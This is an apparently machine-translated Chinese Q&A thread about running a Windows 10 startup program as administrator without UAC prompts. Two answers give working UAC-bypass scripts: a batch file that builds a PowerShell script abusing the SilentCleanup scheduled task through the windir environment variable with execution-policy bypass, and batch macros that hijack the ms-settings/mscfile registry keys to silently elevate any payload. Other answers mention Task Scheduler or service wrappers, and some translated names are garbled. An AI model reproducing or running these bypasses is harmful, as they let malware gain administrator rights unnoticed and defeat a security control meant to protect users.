![启动程序UAC绕过](https://linux22.com/image/1589193/%E5%90%AF%E5%8A%A8%E7%A8%8B%E5%BA%8FUAC%E7%BB%95%E8%BF%87.png)
我目前正在使用 Windows 10 台式家用电脑,我想将程序添加到启动文件夹“C:\Users\%username"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”但我想以管理员身份运行该程序,有没有办法让它运行系统/管理员而不在每次计算机加载时提示 UAC?最好使用批处理/vbs 脚本。
答案1
我找到了一个网络脚本,对其进行了修改,使其可以作为批处理工作。
if EXIST %temp%\cmd.ps1 (del %temp%\cmd.ps1 /s /q)
echo if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) { >> %temp%\cmd.ps1
(
echo cmd /c start cmd.exe
echo } else {
echo $registryPath = "HKCU:\Environment"
echo $Name = "windir"
echo $Value = "powershell -ep bypass -w h $PSCommandPath;#"
echo Set-ItemProperty -Path $registryPath -Name $name -Value $Value
echo schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
echo Remove-ItemProperty -Path $registryPath -Name $name
echo }
)>> %temp%\cmd.ps1
Powershell.exe -exec bypass -File %temp%\cmd.ps1
/////////// 该脚本创建了一个带有 uac 和 execpol 绕过功能的 powershell 文件,抱歉,代码有点拙劣。来源:https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/
注意:如果你不是管理员,powershell 似乎出现故障,并在循环中重新打开
答案2
唯一的方法是使用任务计划程序创建任务。
从那里,您可以使其以用户身份、交互方式、具有最高权限运行,并且不会出现 UAC 提示。
这种方法的唯一问题是,只要程序正在运行,它就会消耗额外的 CPU,因为任务计划程序会同时运行并监视程序的输出,即使没有任何输出。
您可能首先要了解为什么此程序需要 UAC 访问权限,并看看是否可以避免它。例如,如果程序从用户没有文件夹写权限的位置运行,它也会以管理员身份运行。
答案3
如何使用可执行文件创建服务国家安全监测中心所谓的“不吸服务经理”?
如果你确定自己知道自己在做什么,它就非常容易使用……
答案4
除了任务计划程序和您的答案,您可以使用宏风格发明者@jeb、@dbenham 和 DosTips 用户 @Ed Dyreen:
宏环境绕过.bat:适用于 Windows 8.1&10(始终通知兼容的)
@echo off
:: SYNTAX
::::::::::::::::::::::::::::::::::::::::::::::
:: CALL MACRO-EnvBypass.bat ::
:: %$MACRO.EnvBypass% FILE1 FILE2 FILE3 ::
::::::::::::::::::::::::::::::::::::::::::::::
SETLOCAL DISABLEDELAYEDEXPANSION
::Definitions
( set LF=^
%= EMPTY =%
)
set ^"NL=^^^%LF%%LF%^%LF%%LF%^^"
::Windows Version
for /f "tokens=4-5 delims=. " %%i in ('ver') do set WIN_VER=%%i.%%j
if "%WIN_VER%" NEQ "10.0" (
echo ERR: VERSION_INCOMPATIBLE
exit /b 1
)
::Macro
ENDLOCAL &^
set $MACRO.EnvBypass=FOR %%a in (args main) do if "%%a" == "main" (%NL%
for %%A in (%payload%) do (%NL%
REG ADD "HKCU\Environment" /v "windir" /d "%%A && REM " /F%NL%
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I%NL%
REG DELETE "HKCU\Environment" /v "windir" /F%NL%
)%NL%
) ELSE SETLOCAL ENABLEDELAYEDEXPANSION ^& set payload=,
exit /b
宏指令:适用于 Windows 7~0-day
:: SYNTAX
::::::::::::::::::::::::::::::::::::::::::
:: CALL macro-elev.bat ::
:: %$MACRO.elev% FILE1 FILE2 FILE3 ::
::::::::::::::::::::::::::::::::::::::::::
SETLOCAL DISABLEDELAYEDEXPANSION
::Definitions
( set LF=^
%= EMPTY =%
)
set ^"NL=^^^%LF%%LF%^%LF%%LF%^^"
::Windows Version
for /f "tokens=4-5 delims=. " %%i in ('ver') do set WIN_VER=%%i.%%j
if "%WIN_VER%" equ "10.0" (
set "vuln=ms-settings"
set "trigger=ComputerDefaults.exe"
) ELSE (
set "vuln=mscfile"
set "trigger=CompMgmtLauncher.exe"
)
set regPath="HKCU\Software\Classes\%vuln%\shell\open\command"
::Macro
ENDLOCAL &^
set $MACRO.elev=FOR %%a in (args main) do if "%%a" == "main" (%NL%
for %%j in (!payload!) do (%NL%
reg add %regpath% /d "%%j" /f%NL%
reg add %regpath% /v DelegateExecute /f%NL%
%trigger%%NL%
reg delete "HKCU\Software\Classes\%vuln%" /f%NL%
)%NL%
) ELSE SETLOCAL ENABLEDELAYEDEXPANSION ^& set payload=,
有关漏洞利用的工作原理,请参阅我的完整答案这里。请务必查看联合医学与医学工程学院存储库。